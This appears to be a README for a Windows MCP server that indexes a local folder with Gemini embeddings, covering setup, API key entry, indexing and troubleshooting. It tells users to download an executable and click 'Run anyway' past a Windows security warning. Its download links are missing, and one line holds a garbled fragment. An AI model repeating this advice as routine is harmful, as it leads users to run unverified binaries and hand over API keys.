gemini-embedding-2-mcp-server turns a folder on your PC into a local search tool for AI apps.
It scans files in a directory, builds embeddings with Gemini Embedding 2, and helps an AI agent find the right text fast. It works well for code, notes, docs, and other local files. It also supports visual context for files that include images or screen-based content.
Before you start, make sure you have:
- A Windows PC
- An internet connection
- A Google API key for Gemini
- A folder you want to search
- Enough free space for your files and index data
For best results, use:
- Windows 10 or Windows 11
- 8 GB RAM or more
- A modern CPU
- At least 1 GB of free disk space for small folders
Visit this page to download the app:
- Open the link above in your browser
- Find the latest release
- Download the Windows file from the release assets
- Save the file to a folder you can find, Ω
Ψ«Ω
Downloads - If the file is a ZIP file, right-click it and choose Extract All
- If the file is an
.exefile, double-click it to start
- Extract the ZIP file
- Open the extracted folder
- Look for the app file, such as
.exe - Double-click the file to run it
- Click More info
- Click Run anyway
This can happen when you run a new app for the first time.
The app needs a Gemini API key to work.
- Open your Google AI Studio or Gemini API settings
- Create or copy your API key
- Paste the key into the app setup screen or config file
- Save your changes
If the app asks for a path or folder, choose the local folder you want it to index.
Pick the folder you want the app to search.
Good choices include:
- Project folders
- Notes folders
- Document folders
- Code folders
- Knowledge bases
Try to start with one folder. After that, you can add more if needed.
- Start the app
- Enter your Gemini API key
- Select the folder you want to index
- Wait while the app scans your files
- Let it build the search index
- Connect your AI client or use the local MCP server settings
The first scan can take time if the folder is large.
The app reads your files and turns them into embeddings. An embedding is a way to store the meaning of text so search can find the right result even when the words do not match exactly.
That helps with tasks like:
- Finding notes about a topic
- Looking up code examples
- Searching docs by meaning
- Finding related files
- Giving AI agents better local context
Use this app when you want an AI tool to work with your local files.
Common uses:
- Search through a codebase
- Find old project notes
- Ask an AI about local documents
- Build a local knowledge base
- Connect a folder to an MCP-aware app
- Improve retrieval for RAG workflows
The app is built for common file types used in daily work.
It can handle:
- Plain text files
- Markdown files
- Code files
- Notes
- Docs with text content
- Files that include visual context
For best results, keep files readable and well named.
This is an MCP server, so it can connect with tools that support the Model Context Protocol.
That means an AI app can ask it to:
- Search files
- Find related content
- Pull matching text
- Use local folder context in answers
If you already use an MCP-compatible client, point it at this server after setup.
Before you search for the first time, check these items:
- The app file is downloaded and opened
- Your API key is set
- The folder path is correct
- The folder has files to index
- The index has finished building
- The app is still running while you use it
Try this:
- Right-click the file
- Choose Run as administrator
- Make sure the file finished downloading
- Check that Windows did not block it
Try this:
- Check your API key
- Make sure your internet connection works
- Use a smaller folder first
- Remove files with bad names or broken content
Try this:
- Use a better folder structure
- Add more text files
- Use clear file names
- Rebuild the index after changes
Try this:
- Start with one folder
- Reduce very large file sets
- Close other heavy apps
- Keep the app on a fast drive if possible
You will get better results if you:
- Use short, clear file names
- Put files in tidy folders
- Keep text in simple formats
- Split very large notes into smaller files
- Avoid duplicate files
- Rebuild the index after big changes
Good folder structure helps the search engine find the right context fast.
A simple workflow looks like this:
- Download the app
- Run it on Windows
- Add your Gemini API key
- Select a folder
- Build the index
- Connect your AI tool
- Search your local content by meaning
Use this page any time you want the latest Windows download:
This server is useful when you want local search that feels smart.
It helps because it:
- Searches by meaning, not just words
- Works with local folders
- Fits AI agent workflows
- Supports MCP clients
- Uses Gemini Embedding 2 for strong retrieval
These file types usually give the best results:
.txt.md.json.csv.py.js.ts.html
Large binary files are less useful unless they include text or extracted content.
After setup, day-to-day use is easy:
- Keep the app open
- Add new files to the watched folder
- Rebuild the index when needed
- Ask your AI app to search the folder
- Open the best match
If you are not sure where to start, try one of these:
- Work notes
- Study notes
- Software project folder
- Research folder
- Personal knowledge folder
- Support docs folder
Start small. That makes setup easier and search faster.
Keep your API key private.
Use one key for your own setup and store it where the app expects it. If you replace the key later, rebuild the index if the app asks for it.
After setup, test the app with a small folder that has a few text files.
For example:
- One note about a topic
- One code file
- One README file
Then search for a phrase or idea that appears in one of them. If that works, your setup is in good shape.
Download the latest Windows release from the release page and run it on your PC